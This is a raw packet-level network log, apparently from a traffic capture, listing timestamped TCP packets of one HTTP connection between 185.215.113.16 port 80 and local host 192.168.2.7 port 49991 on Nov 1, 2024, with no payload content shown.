Nov 1, 2024 12:14:55.324685097 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324692011 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.324700117 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.324716091 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.324743986 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479310036 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479352951 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479366064 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479418039 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479429960 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479443073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479454994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479474068 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479474068 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479502916 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479517937 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479542017 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479546070 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479558945 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479568958 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479572058 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479581118 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479584932 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479610920 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479635000 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479639053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479655981 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479670048 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479681015 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479682922 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479691982 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479712963 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479734898 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479734898 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479753971 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479768038 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479779005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479793072 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479794979 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479805946 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479819059 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479821920 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479831934 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479882002 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.479960918 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479979992 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.479995012 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480001926 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480022907 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480032921 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480045080 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480046988 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480058908 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480093956 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480097055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480097055 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480107069 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480118036 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480129957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480140924 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480143070 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480165958 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480175972 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480181932 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480194092 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480206013 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480225086 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480243921 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480274916 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480278015 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480292082 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480298996 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480303049 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480324984 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480340958 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480475903 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480508089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480514050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480520010 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480546951 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480567932 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480607986 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480621099 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480633020 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480643034 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480679035 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480910063 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480936050 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480952978 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480977058 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.480990887 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.480993032 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481004000 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481015921 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481029987 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481044054 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481067896 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481093884 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481106043 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481120110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481143951 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481148005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481165886 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481178045 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481180906 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481184959 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481194973 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481209040 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481220961 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481220961 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481221914 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481229067 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481251955 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481266975 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481268883 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481286049 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481312037 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481323957 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481323957 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481350899 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481354952 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481364012 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481376886 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481389046 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481389046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481401920 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481414080 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481414080 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481439114 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481440067 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481455088 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481458902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481478930 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481478930 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481491089 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481503963 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481511116 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481515884 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481528997 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481532097 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481554031 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481556892 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481560946 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481570005 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481585026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481596947 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481604099 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481622934 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481626987 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481651068 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481656075 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481662989 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481668949 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481682062 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481697083 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481705904 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481708050 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481733084 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481738091 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481746912 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481750965 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481765985 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481770992 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481777906 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481796026 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481806993 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481816053 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481832027 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481844902 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481849909 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481863976 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481868029 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481884956 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481889009 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481898069 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481901884 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481925964 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481928110 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481940985 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481940985 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481962919 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481971025 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.481981039 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481992006 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.481992960 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482003927 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482018948 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482032061 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482034922 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482044935 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482047081 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482070923 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482072115 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482081890 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482093096 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482105970 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482117891 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482125044 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482125044 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482139111 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482153893 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482175112 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482182026 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482284069 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482296944 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482326031 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482331038 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482343912 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482352972 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482356071 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482378960 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482403994 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482403994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482415915 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482429981 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482441902 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482450008 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482455015 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.482481956 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.482489109 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483419895 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483454943 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483467102 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483503103 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483529091 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483609915 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483627081 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483639002 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483650923 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483656883 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483664989 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483670950 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483685017 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483697891 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483697891 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483706951 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483710051 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483736038 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483741045 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483753920 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483760118 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483767033 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483779907 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483784914 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483791113 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483799934 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483804941 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483818054 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483819962 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483844042 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483849049 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483877897 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483891964 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483903885 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483916044 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483918905 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483928919 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483932972 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483942986 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483961105 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.483973980 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.483993053 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484004974 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484018087 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484026909 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484031916 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484045029 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484046936 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484057903 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484070063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484074116 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484086037 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484096050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484102011 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484106064 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484117031 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484129906 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484133959 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484146118 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484150887 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484158993 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484165907 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484186888 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484214067 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484802008 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484833956 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484844923 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484850883 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484868050 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484880924 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484886885 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484894991 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484906912 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.484935045 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.484957933 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971344948 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971371889 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971388102 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971404076 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971417904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971430063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971430063 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971431971 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971445084 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971456051 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971457958 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971481085 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971493959 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971502066 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971502066 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971504927 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971527100 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971525908 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971551895 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971575975 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971596003 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971626043 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971637964 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971637964 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971657991 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971671104 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971683025 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971698046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971698046 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971718073 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971720934 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971729994 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971741915 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971752882 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971755028 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971765041 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971779108 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971780062 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971784115 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971791029 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971803904 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:55.971817970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971817970 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971842051 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:55.971858978 CET	80	49991	185.215.113.16	192.168.2.7
